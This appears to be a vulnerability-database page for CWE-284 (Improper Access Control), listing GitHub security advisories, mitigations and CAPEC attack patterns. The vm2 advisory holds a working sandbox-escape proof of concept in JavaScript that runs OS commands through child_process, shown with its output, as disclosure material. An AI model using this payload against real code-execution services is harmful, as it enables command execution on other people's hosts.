CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7803 vulnerabilities reference this CWE, most recent first.
GHSA-8HFG-RM42-2G24
Vulnerability from github – Published: 2024-02-21 09:31 – Updated: 2025-11-04 21:31A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sonoma 14.1, macOS Monterey 12.7.1, macOS Ventura 13.6.1. An app may be able to modify protected parts of the file system.
{
"affected": [],
"aliases": [
"CVE-2023-42860"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-21T07:15:49Z",
"severity": "HIGH"
},
"details": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sonoma 14.1, macOS Monterey 12.7.1, macOS Ventura 13.6.1. An app may be able to modify protected parts of the file system.",
"id": "GHSA-8hfg-rm42-2g24",
"modified": "2025-11-04T21:31:11Z",
"published": "2024-02-21T09:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42860"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213983"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213984"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213985"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT213983"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT213984"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT213985"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8HG8-63C5-GWMX
Vulnerability from github – Published: 2026-05-07 05:13 – Updated: 2026-05-14 20:37Summary
When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.
Details
The vulnerability is in how the nesting: true option interacts with the legacy module resolver.
lib/nodevm.js:96-99 — NESTING_OVERRIDE is a special builtin map that injects the vm2 package into the sandbox:
const NESTING_OVERRIDE = Object.freeze({
__proto__: null,
vm2: vm2NestingLoader
});
lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:
const customResolver = requireOpts instanceof Resolver;
const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(
requireOpts,
nesting && NESTING_OVERRIDE, // ← injected when nesting:true
this._compiler
);
lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENY_RESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTING_OVERRIDE:
function makeResolverFromLegacyOptions(options, override, compiler) {
if (!options) {
if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all
// BUG: require:false + nesting:true reaches here
// override (NESTING_OVERRIDE) is applied, making vm2 available
const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);
return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable
}
// ...
}
lib/builtin.js:102-106 — NESTING_OVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:
if (overrides) {
const keys = Object.getOwnPropertyNames(overrides);
for (const key of keys) {
res.set(key, overrides[key]); // vm2 always injected when nesting:true
}
}
The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches child_process.
This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.
PoC
Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).
const { NodeVM } = require('vm2');
// Host intends: nesting enabled, but require completely disabled
const vm = new NodeVM({ nesting: true, require: false });
const result = vm.run(`
// Step 1: require('vm2') succeeds despite require:false on the outer VM
const { NodeVM: NVM } = require('vm2');
// Step 2: create an inner NodeVM with attacker-chosen require config
// This inner VM has no relation to the outer VM's restrictions
const inner = new NVM({ require: { builtin: ['child_process'] } });
// Step 3: execute arbitrary OS command in the inner VM
module.exports = inner.run(
'module.exports = require("child_process").execSync("id").toString()'
);
`);
console.log(result);
// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...
Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591):
uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)
The variant with require: false also works — the outer VM's require setting has no effect:
new NodeVM({ nesting: true, require: false }).run(`
const { NodeVM: NVM } = require('vm2');
module.exports = new NVM({ require: { builtin: ['child_process'] } })
.run('module.exports = require("child_process").execSync("id").toString()');
`);
// uid=1000(akshat) ...
Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.
Impact
Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.
What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.
Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.
Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.0"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44007"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T05:13:21Z",
"nvd_published_at": "2026-05-13T18:16:17Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nWhen a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require(\u0027vm2\u0027)` regardless of the outer VM\u0027s `require` configuration \u2014 including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.\n\n### Details\n\nThe vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.\n\n**`lib/nodevm.js:96-99`** \u2014 `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:\n\n```js\nconst NESTING_OVERRIDE = Object.freeze({\n __proto__: null,\n vm2: vm2NestingLoader\n});\n```\n\n**`lib/nodevm.js:268-269`** \u2014 When `nesting: true`, this override is passed into the resolver factory alongside the host\u0027s `require` options:\n\n```js\nconst customResolver = requireOpts instanceof Resolver;\nconst resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(\n requireOpts,\n nesting \u0026\u0026 NESTING_OVERRIDE, // \u2190 injected when nesting:true\n this._compiler\n);\n```\n\n**`lib/resolver-compat.js:193-197`** \u2014 This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:\n\n```js\nfunction makeResolverFromLegacyOptions(options, override, compiler) {\n if (!options) {\n if (!override) return DENY_RESOLVER; // require:false, no nesting \u2192 deny all\n // BUG: require:false + nesting:true reaches here\n // override (NESTING_OVERRIDE) is applied, making vm2 available\n const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);\n return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable\n }\n // ...\n}\n```\n\n**`lib/builtin.js:102-106`** \u2014 `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:\n\n```js\nif (overrides) {\n const keys = Object.getOwnPropertyNames(overrides);\n for (const key of keys) {\n res.set(key, overrides[key]); // vm2 always injected when nesting:true\n }\n}\n```\n\nThe result: `require(\u0027vm2\u0027)` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses \u2014 unconstrained by the outer VM \u2014 and reaches `child_process`.\n\nThis was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that \"scripts can create a NodeVM which can require any host module,\" but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.\n\n### PoC\n\n**Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).\n\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\n// Host intends: nesting enabled, but require completely disabled\nconst vm = new NodeVM({ nesting: true, require: false });\n\nconst result = vm.run(`\n // Step 1: require(\u0027vm2\u0027) succeeds despite require:false on the outer VM\n const { NodeVM: NVM } = require(\u0027vm2\u0027);\n\n // Step 2: create an inner NodeVM with attacker-chosen require config\n // This inner VM has no relation to the outer VM\u0027s restrictions\n const inner = new NVM({ require: { builtin: [\u0027child_process\u0027] } });\n\n // Step 3: execute arbitrary OS command in the inner VM\n module.exports = inner.run(\n \u0027module.exports = require(\"child_process\").execSync(\"id\").toString()\u0027\n );\n`);\n\nconsole.log(result);\n// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...\n```\n\n**Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):**\n```\nuid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)\n```\n\nThe variant with `require: false` also works \u2014 the outer VM\u0027s require setting has no effect:\n\n```js\nnew NodeVM({ nesting: true, require: false }).run(`\n const { NodeVM: NVM } = require(\u0027vm2\u0027);\n module.exports = new NVM({ require: { builtin: [\u0027child_process\u0027] } })\n .run(\u0027module.exports = require(\"child_process\").execSync(\"id\").toString()\u0027);\n`);\n// uid=1000(akshat) ...\n```\n\nNarrow builtin allowlists are also bypassed. `require: { builtin: [\u0027path\u0027] }` still allows `require(\u0027vm2\u0027)` when nesting is enabled.\n\n### Impact\n\n**Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.\n\n**What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.\n\n**Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not \u2014 `require: false` is silently overridden and the sandbox has unrestricted OS access.\n\n**Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.",
"id": "GHSA-8hg8-63c5-gwmx",
"modified": "2026-05-14T20:37:04Z",
"published": "2026-05-07T05:13:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44007"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/05/11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution"
}
GHSA-8HGP-69XR-M2W6
Vulnerability from github – Published: 2025-11-04 03:30 – Updated: 2025-12-17 21:30The issue was addressed by adding additional logic. This issue is fixed in macOS Sonoma 14.8.2, macOS Sequoia 15.7.2. An app may be able to access user-sensitive data.
{
"affected": [],
"aliases": [
"CVE-2025-43335"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-04T02:15:40Z",
"severity": "MODERATE"
},
"details": "The issue was addressed by adding additional logic. This issue is fixed in macOS Sonoma 14.8.2, macOS Sequoia 15.7.2. An app may be able to access user-sensitive data.",
"id": "GHSA-8hgp-69xr-m2w6",
"modified": "2025-12-17T21:30:32Z",
"published": "2025-11-04T03:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43335"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125634"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125635"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125636"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8HH4-32MR-38XC
Vulnerability from github – Published: 2025-03-24 21:30 – Updated: 2025-03-24 21:30A vulnerability classified as critical was found in Digiwin ERP 5.0.1. Affected by this vulnerability is an unknown functionality of the file /Api/TinyMce/UploadAjaxAPI.ashx. The manipulation of the argument File leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-2706"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-24T19:15:50Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical was found in Digiwin ERP 5.0.1. Affected by this vulnerability is an unknown functionality of the file /Api/TinyMce/UploadAjaxAPI.ashx. The manipulation of the argument File leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-8hh4-32mr-38xc",
"modified": "2025-03-24T21:30:33Z",
"published": "2025-03-24T21:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2706"
},
{
"type": "WEB",
"url": "https://github.com/Rain1er/report/blob/main/THNlcnBf/RCE_5.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.300727"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.300727"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.516293"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8HJJ-WF8C-MHWQ
Vulnerability from github – Published: 2023-05-22 21:30 – Updated: 2024-04-04 04:16Snap One OvrC cloud servers contain a route an attacker can use to bypass requirements and claim devices outright.
{
"affected": [],
"aliases": [
"CVE-2023-31241"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-420"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-22T20:15:10Z",
"severity": "CRITICAL"
},
"details": "\n\n\n\n\nSnap One OvrC cloud servers contain a route an attacker can use to bypass requirements and claim devices outright.\n\n\n\n\n\n\n\n\n\n",
"id": "GHSA-8hjj-wf8c-mhwq",
"modified": "2024-04-04T04:16:49Z",
"published": "2023-05-22T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31241"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-136-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8HMW-J59C-5PGC
Vulnerability from github – Published: 2025-10-07 06:31 – Updated: 2025-10-07 06:31A weakness has been identified in code-projects Online Hotel Reservation System 1.0. The impacted element is an unknown function of the file /admin/editpicexec.php. This manipulation of the argument image causes unrestricted upload. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be exploited.
{
"affected": [],
"aliases": [
"CVE-2025-11351"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-07T05:15:33Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in code-projects Online Hotel Reservation System 1.0. The impacted element is an unknown function of the file /admin/editpicexec.php. This manipulation of the argument image causes unrestricted upload. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be exploited.",
"id": "GHSA-8hmw-j59c-5pgc",
"modified": "2025-10-07T06:31:12Z",
"published": "2025-10-07T06:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11351"
},
{
"type": "WEB",
"url": "https://github.com/zhicat/C/issues/1"
},
{
"type": "WEB",
"url": "https://code-projects.org"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.327236"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.327236"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.664910"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8HPF-983V-7FRQ
Vulnerability from github – Published: 2025-02-13 00:33 – Updated: 2025-02-13 00:33Improper access control in some Intel(R) Graphics Driver software installers may allow an authenticated user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2024-38310"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-12T22:15:35Z",
"severity": "MODERATE"
},
"details": "Improper access control in some Intel(R) Graphics Driver software installers may allow an authenticated user to potentially enable escalation of privilege via local access.",
"id": "GHSA-8hpf-983v-7frq",
"modified": "2025-02-13T00:33:06Z",
"published": "2025-02-13T00:33:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38310"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01235.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8HW4-GJ79-M365
Vulnerability from github – Published: 2022-10-18 12:00 – Updated: 2022-10-20 12:00ZGR TPS200 NG in its 2.00 firmware version and 1.01 hardware version, does not properly accept specially constructed requests. This allows an attacker with access to the network where the affected asset is located, to operate and change several parameters without having to be registered as a user on the web that owns the device.
{
"affected": [],
"aliases": [
"CVE-2020-8973"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-17T22:15:00Z",
"severity": "HIGH"
},
"details": "ZGR TPS200 NG in its 2.00 firmware version and 1.01 hardware version, does not properly accept specially constructed requests. This allows an attacker with access to the network where the affected asset is located, to operate and change several parameters without having to be registered as a user on the web that owns the device.",
"id": "GHSA-8hw4-gj79-m365",
"modified": "2022-10-20T12:00:23Z",
"published": "2022-10-18T12:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8973"
},
{
"type": "WEB",
"url": "https://www.incibe-cert.es/en/early-warning/ics-advisories/multiple-vulnerabilities-zgr-tps200-ng"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-zgr-tps200-ng"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8HX6-7HRJ-2PQF
Vulnerability from github – Published: 2023-05-04 21:30 – Updated: 2024-04-04 03:48Improper access control vulnerablility in Tips prior to SMR May-2023 Release 1 allows local attackers to launch arbitrary activity in Tips.
{
"affected": [],
"aliases": [
"CVE-2023-21488"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-04T21:15:09Z",
"severity": "HIGH"
},
"details": "Improper access control vulnerablility in Tips prior to SMR May-2023 Release 1 allows local attackers to launch arbitrary activity in Tips.",
"id": "GHSA-8hx6-7hrj-2pqf",
"modified": "2024-04-04T03:48:22Z",
"published": "2023-05-04T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21488"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2023\u0026month=05"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8J2G-CHHR-59J5
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:06An incorrect implementation of a local web server in eID client (Windows version before 3.1.2, Linux version before 3.0.3) allows remote attackers to execute arbitrary code (.cgi, .pl, or .php) or delete arbitrary files via a crafted HTML page. This is a product from the Ministry of Interior of the Slovak Republic.
{
"affected": [],
"aliases": [
"CVE-2019-13028"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-28T22:15:00Z",
"severity": "HIGH"
},
"details": "An incorrect implementation of a local web server in eID client (Windows version before 3.1.2, Linux version before 3.0.3) allows remote attackers to execute arbitrary code (.cgi, .pl, or .php) or delete arbitrary files via a crafted HTML page. This is a product from the Ministry of Interior of the Slovak Republic.",
"id": "GHSA-8j2g-chhr-59j5",
"modified": "2024-04-04T01:06:32Z",
"published": "2022-05-24T16:49:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13028"
},
{
"type": "WEB",
"url": "https://www.csirt.gov.sk/aktualne-7d7.html?id=194"
},
{
"type": "WEB",
"url": "https://www.csirt.gov.sk/doc/eid_klient_tlacova_sprava.pdf"
},
{
"type": "WEB",
"url": "https://www.minv.sk/?tlacove-spravy\u0026sprava=pouzivatelom-e-sluzieb-automaticky-aktualizujeme-aplikaciu-pre-elektronicky-obciansky-preukaz"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.